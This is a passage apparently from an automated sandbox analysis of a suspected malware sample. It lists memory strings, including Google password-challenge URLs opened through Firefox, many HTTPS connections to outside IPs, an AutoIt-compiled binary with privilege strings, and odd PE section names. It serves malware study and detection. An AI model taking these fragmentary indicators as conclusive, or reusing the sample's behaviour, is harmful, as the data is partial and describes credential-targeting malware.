Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/%VERSION%/tour/
Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/geolocation/
Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/new?reason=manual-update
Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/notes
Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/set-as-default/thanks/
Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/xr/
Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/privacy/subscription-services/
Source: 3f779c1cca.exe, 0000000E.00000003.3116782547.0000000005530000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.bwSC1pmG_zle
Source: 3f779c1cca.exe, 0000000E.00000003.3116782547.0000000005530000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.hjKdHaZH-dbQ
Source: 3f779c1cca.exe, 0000000E.00000003.3116782547.0000000005530000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/android/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_c
Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/ios/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_campa
Source: firefox.exe, 00000031.00000003.3312969309.000001F80F0C9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/new/
Source: firefox.exe, 00000031.00000003.3312969309.000001F80F0C9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/new/places.frecency.pages.alternative.featureGateSELECT
Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/legal/privacy/firefox.html
Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/legal/privacy/firefox.html#crash-reporter
Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/legal/privacy/firefox.html#health-report
Source: firefox.exe, 0000001E.00000002.3212320962.0000027F673C8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3205919876.00000229082C7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000031.00000003.3268927888.000001F87F45F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: firefox.exe, 0000001E.00000002.3211116334.0000027F66E90000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000023.00000002.3207692923.0000022908770000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_c
Source: file.exe, 00000000.00000003.2256581532.0000000005F77000.00000004.00000800.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2948697857.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3118269437.0000000005227000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3212320962.0000027F673C8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3205919876.00000229082E9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000031.00000003.3267079195.000001F87F4AD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.t-mobile.com/cell-phones/brand/apple?cmpid=MGPO_PAM_P_EVGRNIPHN_
Source: file.exe, 00000000.00000003.2216593156.000000000169A000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000B.00000003.2897820568.000000000120A000.00000004.00000020.00020000.00000000.sdmp, 3f779c1cca.exe, 0000000E.00000003.3053322051.0000000000787000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback
Source: file.exe, 00000000.00000003.2216901529.0000000001617000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com
Source: file.exe, 00000000.00000003.2216901529.0000000001617000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3205919876.0000022908203000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/
Source: firefox.exe, 00000031.00000003.3288033037.000001F80F0BF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000031.00000003.3285943218.000001F80F0B7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com
Source: firefox.exe, 00000023.00000002.3207596708.00000229083D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://ac
Source: firefox.exe, 00000031.00000003.3285943218.000001F80F0B7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd
Source: firefox.exe, 0000001A.00000002.3075202607.000001A08B627000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.3089594851.000001DCD7C4F000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000030.00000002.3261210527.000001F3C5BCF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd--no-default-browser
Source: firefox.exe, 00000023.00000002.3205676434.00000229080AA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdM
Source: firefox.exe, 0000001E.00000002.3212006414.0000027F672D4000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3208684384.0000027F66E20000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3205676434.00000229080A0000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000023.00000002.3207596708.00000229083D4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdMOZ_CRASHREPORTER_RE
Source: firefox.exe, 00000023.00000002.3205676434.00000229080A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdY
Source: firefox.exe, 00000031.00000003.3285943218.000001F80F0B7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.combound
Source: firefox.exe, 00000031.00000003.3288033037.000001F80F0BF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.commedia.gmp-gmpopenh264.visible
Source: firefox.exe, 00000031.00000003.3285943218.000001F80F0B7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.commedia.gmp-gmpopenh264.visiblemedia.gmp-widevinecdm.enabledwebIsolated=https://you
Source: firefox.exe, 00000031.00000003.3285943218.000001F80F0B7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.commedia.gmp-widevinecdm.enabled

Source: unknown	Network traffic detected: HTTP traffic on port 50036 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 59454 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59460 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50042 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50054
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59429
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50055
Source: unknown	Network traffic detected: HTTP traffic on port 59448 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50057
Source: unknown	Network traffic detected: HTTP traffic on port 50059 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50059
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59427
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59433
Source: unknown	Network traffic detected: HTTP traffic on port 59419 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59432
Source: unknown	Network traffic detected: HTTP traffic on port 59468 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59434
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50061
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50060
Source: unknown	Network traffic detected: HTTP traffic on port 59422 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50062
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59430
Source: unknown	Network traffic detected: HTTP traffic on port 59451 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 50039 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50010 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50060 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59413 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59434 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50018 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50064
Source: unknown	Network traffic detected: HTTP traffic on port 59465 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59436
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59439
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59438
Source: unknown	Network traffic detected: HTTP traffic on port 50004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59416 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 49999 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59410 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50015 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59427 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50057 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59448
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59447
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59455
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59454
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59457
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59451
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59450
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59453
Source: unknown	Network traffic detected: HTTP traffic on port 59424 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59452
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 50037 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50062 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50006
Source: unknown	Network traffic detected: HTTP traffic on port 50012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59457 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59432 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59463 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50054 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50003
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59459
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50002
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59458
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50005
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50004
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59465
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59468
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59462
Source: unknown	Network traffic detected: HTTP traffic on port 59418 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59464
Source: unknown	Network traffic detected: HTTP traffic on port 50006 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59463
Source: unknown	Network traffic detected: HTTP traffic on port 59452 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59460
Source: unknown	Network traffic detected: HTTP traffic on port 49997 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50018
Source: unknown	Network traffic detected: HTTP traffic on port 50061 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59458 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59429 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59412 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50010
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50012
Source: unknown	Network traffic detected: HTTP traffic on port 50055 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50011
Source: unknown	Network traffic detected: HTTP traffic on port 59464 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50014
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50015
Source: unknown	Network traffic detected: HTTP traffic on port 50003 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59438 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50029
Source: unknown	Network traffic detected: HTTP traffic on port 59455 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50064 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59430 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59409 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50021
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59423 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50021 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59450 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50029 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50039
Source: unknown	Network traffic detected: HTTP traffic on port 50011 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59408 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59433 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59408
Source: unknown	Network traffic detected: HTTP traffic on port 59414 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59462 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50033
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59409
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50036
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50037
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59411
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59410
Source: unknown	Network traffic detected: HTTP traffic on port 59420 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59413
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59412
Source: unknown	Network traffic detected: HTTP traffic on port 59447 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50005 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59459 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49999
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49997
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 59411 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59436 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59453 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50033 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59419
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50042
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59418
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50044
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59414
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59416
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59422
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59424
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59423
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59420
Source: unknown	Network traffic detected: HTTP traffic on port 50044 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59439 -> 443

Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.6:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:49719 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:49727 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:49743 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:49753 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:49767 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.6:49997 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:49999 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:50002 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:50003 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:50004 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:50005 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:50006 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:50010 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:50011 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.6:50012 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:50014 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:50015 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:50018 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:50021 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:50029 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:50036 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:50042 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:50044 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:50064 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:59409 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.6:59414 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:59419 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:59420 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.6:59424 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:59427 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:59429 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:59432 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:59433 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:59434 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:59436 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:59438 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.53.8:443 -> 192.168.2.6:59439 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:59452 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.6:59454 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.6:59457 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:59464 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.6:59465 version: TLS 1.2

System Summary

Binary is likely a compiled AutoIt script file

Source: fb9fc5d370.exe, 0000000F.00000002.3104615180.0000000000482000.00000002.00000001.01000000.00000011.sdmp	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_85d872b4-2
Source: fb9fc5d370.exe, 0000000F.00000002.3104615180.0000000000482000.00000002.00000001.01000000.00000011.sdmp	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer	memstr_617d5ffc-7
Source: fb9fc5d370.exe, 00000025.00000002.3269908676.0000000000482000.00000002.00000001.01000000.00000011.sdmp	String found in binary or memory: This is a third-party compiled AutoIt script.	memstr_e319f75f-c
Source: fb9fc5d370.exe, 00000025.00000002.3269908676.0000000000482000.00000002.00000001.01000000.00000011.sdmp	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer	memstr_256e43ff-b

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: B7KMZCE66VGDP83M16.exe.0.dr	Static PE information: section name:
Source: B7KMZCE66VGDP83M16.exe.0.dr	Static PE information: section name: .rsrc
Source: B7KMZCE66VGDP83M16.exe.0.dr	Static PE information: section name: .idata
Source: B7KMZCE66VGDP83M16.exe.0.dr	Static PE information: section name:
